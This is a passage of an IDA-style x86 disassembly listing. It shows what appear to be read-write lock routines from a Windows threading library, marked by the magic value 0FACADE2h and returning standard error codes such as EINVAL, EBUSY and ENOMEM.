		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B64:				; CODE XREF: sub_431B30+17j
		test	eax, eax
		jnz	short loc_431B6D
		mov	esi, 16h


loc_431B6D:				; CODE XREF: sub_431B30+36j
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BA0	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_431BA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BE0	proc near		; CODE XREF: sub_401F73j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_431BF2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BF2:				; CODE XREF: sub_431BE0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_431C12
		cmp	dword ptr [eax], 0
		jz	short loc_431C12
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C12:				; CODE XREF: sub_431BE0+1Aj
					; sub_431BE0+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431C36
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C36:				; CODE XREF: sub_431BE0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C94
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C8B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_401541
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_431CAC
		push	ebx
		call	sub_40222F
		add	esp, 4


loc_431C8B:				; CODE XREF: sub_431BE0+8Dj
		push	esi
		call	sub_40222F
		add	esp, 4


loc_431C94:				; CODE XREF: sub_431BE0+7Aj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CAC:				; CODE XREF: sub_431BE0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_431BE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D10:				; CODE XREF: ___:004018ACj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_431E4B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_431E4B
		cmp	esi, 0FFFFFFFFh
		jz	loc_431E07
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_431E4B
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_431D79
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431D79:				; CODE XREF: ___:00431D67j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_431DED
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_431DED
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_431DB0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431DB0:				; CODE XREF: ___:00431D9Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401A91
		push	edi
		mov	ebx, eax
		call	sub_40222F
		push	esi
		mov	edi, eax
		call	sub_40222F
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431DED:				; CODE XREF: ___:00431D7Ej
					; ___:00431D88j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431E07:				; CODE XREF: ___:00431D33j
		push	offset dword_50E980
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_431E23
		mov	dword ptr [eax], 0
		jmp	short loc_431E28
; ---------------------------------------------------------------------------


loc_431E23:				; CODE XREF: ___:00431E19j
		mov	ebx, 10h


loc_431E28:				; CODE XREF: ___:00431E21j
		push	offset dword_50E980
		call	near ptr 7C9010EDh
		nop


loc_431E33:				; CODE XREF: ___:00431DEBj
					; ___:00431E05j
		test	ebx, ebx
		jz	short loc_431E3E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E3E:				; CODE XREF: ___:00431E35j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_431E50
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E4B:				; CODE XREF: ___:00431D20j
					; ___:00431D2Aj ...
		mov	eax, 16h


loc_431E50:				; CODE XREF: ___:00431D51j
					; ___:00431DBAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431EC0:				; CODE XREF: ___:00401E88j
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_431EE3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431EE3:				; CODE XREF: ___:00431ED2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F10:				; CODE XREF: ___:00401794j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431F31
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431F31
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431F31:				; CODE XREF: ___:00431F19j
					; ___:00431F1Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F50:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431F6D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431F6D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431F6D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431F6D:				; CODE XREF: ___:00431F56j
					; ___:00431F5Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F90:				; CODE XREF: ___:0040159Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431FBA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431FBA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431FAE
		test	eax, eax
		jnz	short loc_431FBA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431FAE:				; CODE XREF: ___:00431FA5j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431FBA:				; CODE XREF: ___:00431F96j
					; ___:00431F9Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431FD0:				; CODE XREF: ___:00402077j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43208A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43208A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432004
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432004
		cmp	eax, 10h
		jnz	loc_43208F


loc_432004:				; CODE XREF: ___:00431FECj
					; ___:00431FF9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43208A
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43208F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43207D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43204D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43204D:				; CODE XREF: ___:0043203Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43207D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43207D:				; CODE XREF: ___:0043202Aj
					; ___:0043206Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43208A:				; CODE XREF: ___:00431FD9j
					; ___:00431FE3j ...
		mov	eax, 16h


loc_43208F:				; CODE XREF: ___:00431FFEj
					; ___:0043201Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4320E0:				; CODE XREF: ___:0040169Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_4321AF
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4321AF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432114
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432114
		cmp	eax, 10h
		jnz	loc_4321B4


loc_432114:				; CODE XREF: ___:004320FCj
					; ___:00432109j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4321AF
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	short loc_4321B4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4321A2
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BC2
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_432172
		cmp	ebx, 274Ch
		jnz	short loc_432163
		inc	dword ptr [esi+14h]


loc_432163:				; CODE XREF: ___:0043215Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432172:				; CODE XREF: ___:00432156j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4321A2
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321A2:				; CODE XREF: ___:00432143j
					; ___:00432191j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321AF:				; CODE XREF: ___:004320E9j
					; ___:004320F3j ...
		mov	eax, 16h


loc_4321B4:				; CODE XREF: ___:0043210Ej
					; ___:00432133j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432200:				; CODE XREF: ___:004015C8j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4322F6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4322F6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432237
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432237
		cmp	eax, 10h
		jnz	loc_4322FB


loc_432237:				; CODE XREF: ___:0043221Fj
					; ___:0043222Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4322F6
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_4322FB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43227B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43227B:				; CODE XREF: ___:00432267j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4322EA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432298
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432298:				; CODE XREF: ___:00432287j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4322EA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4322BB:				; CODE XREF: ___:004322D0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4322D2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4322BB


loc_4322D2:				; CODE XREF: ___:004322C9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4322ED
		mov	[esi+0Ch], edi


loc_4322EA:				; CODE XREF: ___:00432280j
					; ___:0043229Dj
		inc	dword ptr [esi+10h]


loc_4322ED:				; CODE XREF: ___:004322E5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4322F6:				; CODE XREF: ___:0043220Cj
					; ___:00432216j ...
		mov	eax, 16h


loc_4322FB:				; CODE XREF: ___:00432231j
					; ___:00432251j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432360:				; CODE XREF: ___:00401951j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_432461
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432461
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432397
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432397
		cmp	eax, 10h
		jnz	loc_432466


loc_432397:				; CODE XREF: ___:0043237Fj
					; ___:0043238Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432461
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	loc_432466
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BC2
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4323E1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4323E1:				; CODE XREF: ___:004323CDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432455
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4323FE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4323FE:				; CODE XREF: ___:004323EDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432455
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_432421:				; CODE XREF: ___:0043243Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43243D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_432421


loc_43243D:				; CODE XREF: ___:00432434j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_432458
		mov	[esi+0Ch], edi


loc_432455:				; CODE XREF: ___:004323E6j
					; ___:00432403j
		inc	dword ptr [esi+10h]


loc_432458:				; CODE XREF: ___:00432450j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432461:				; CODE XREF: ___:0043236Cj
					; ___:00432376j ...
		mov	eax, 16h


loc_432466:				; CODE XREF: ___:00432391j
					; ___:004323B6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4324C0:				; CODE XREF: ___:004015BEj
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_432546
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_432546
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4324DC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4324DC:				; CODE XREF: ___:004324D4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_432546
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432524
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432502
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432502:				; CODE XREF: ___:004324FCj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_432519
		add	esi, 8
		push	esi
		call	sub_401E51
		add	esp, 4
		mov	edi, eax


loc_432519:				; CODE XREF: ___:00432509j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43253C
; ---------------------------------------------------------------------------


loc_432524:				; CODE XREF: ___:004324EAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43253C:				; CODE XREF: ___:00432522j
		test	edi, edi
		jz	short loc_43254B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432546:				; CODE XREF: ___:004324C9j
					; ___:004324CFj ...
		mov	eax, 16h


loc_43254B:				; CODE XREF: ___:0043253Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432580:				; CODE XREF: ___:00401532j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43263A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43263A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4325B4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4325B4
		cmp	eax, 10h
		jnz	loc_43263F


loc_4325B4:				; CODE XREF: ___:0043259Cj
					; ___:004325A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43263A
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	short loc_43263F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43262D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4325FD
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4325FD:				; CODE XREF: ___:004325ECj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43262D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43262D:				; CODE XREF: ___:004325DAj
					; ___:0043261Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43263A:				; CODE XREF: ___:00432589j
					; ___:00432593j ...
		mov	eax, 16h


loc_43263F:				; CODE XREF: ___:004325AEj
					; ___:004325CAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432690:				; CODE XREF: ___:00401FD2j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_432771
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432771
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4326C4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4326C4
		cmp	eax, 10h
		jnz	loc_432776


loc_4326C4:				; CODE XREF: ___:004326ACj
					; ___:004326B9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432771
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	loc_432776
		lea	ebx, [esi+4]
		push	ebx
		call	sub_40177B
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432709
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_432776
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432709:				; CODE XREF: ___:004326F4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432759
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432726
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432726:				; CODE XREF: ___:00432715j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432764
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_43274B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43274B:				; CODE XREF: ___:0043273Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43275E


loc_432759:				; CODE XREF: ___:0043270Ej
		mov	edi, 10h


loc_43275E:				; CODE XREF: ___:00432757j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432764:				; CODE XREF: ___:0043272Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432771:				; CODE XREF: ___:00432699j
					; ___:004326A3j ...
		mov	eax, 16h


loc_432776:				; CODE XREF: ___:004326BEj
					; ___:004326DEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4327C0:				; CODE XREF: ___:00401BF9j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_4327D7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_4327D7:				; CODE XREF: ___:004327CFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432800:				; CODE XREF: ___:00401E97j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432827
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_432827
		cmp	eax, 2
		jbe	short loc_432827
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432827:				; CODE XREF: ___:0043280Fj
					; ___:00432817j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432840:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432886
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_432886
		mov	esi, [edi]
		push	eax
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	short loc_432886
		push	0
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432886
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432886:				; CODE XREF: ___:00432852j
					; ___:0043285Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328B0:				; CODE XREF: ___:00401EDDj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_4328D5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_4328D5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4328D5:				; CODE XREF: ___:004328C0j
					; ___:004328C8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328F0:				; CODE XREF: ___:004015B4j
		push	esi
